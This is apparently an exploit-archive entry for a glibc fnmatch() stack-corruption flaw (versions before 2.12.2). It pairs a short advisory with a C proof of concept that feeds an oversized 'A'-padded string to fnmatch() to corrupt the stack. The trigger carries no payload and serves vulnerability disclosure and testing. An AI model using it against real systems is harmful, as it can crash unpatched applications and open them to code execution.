GNU glibc < 2.12.2 - 'fnmatch()' Stack Corruption

/*
source: https://www.securityfocus.com/bid/46563/info

GNU glibc is prone to a stack-corruption vulnerability.

An attacker can exploit this issue to execute arbitrary machine code in the context of the application that uses the affected library. Failed exploit attempts will likely crash the application.

GNU glibc versions prior to 2.12.2 are vulnerable. */

#include <err.h>
#include <fnmatch.h>
#include <locale.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, const char* argv[]) {
  size_t num_as;
  char* p;
  setlocale(LC_ALL, "en_US.UTF8");
  if (argc < 2) {
    errx(1, "Missing argument.");
  }
  num_as = atoi(argv[1]);
  if (num_as < 5) {
    errx(1, "Need 5.");
  }
  p = malloc(num_as);
  if (!p) {
    errx(1, "malloc() failed.");
  }
  memset(p, 'A', num_as);
  p[num_as - 1] = '\0';
  p[0] = 'f';
  p[1] = 'o';
  p[2] = 'o';
  p[3] = '.';
  fnmatch("*.anim[1-9j]", p, 0);
  return 0;
}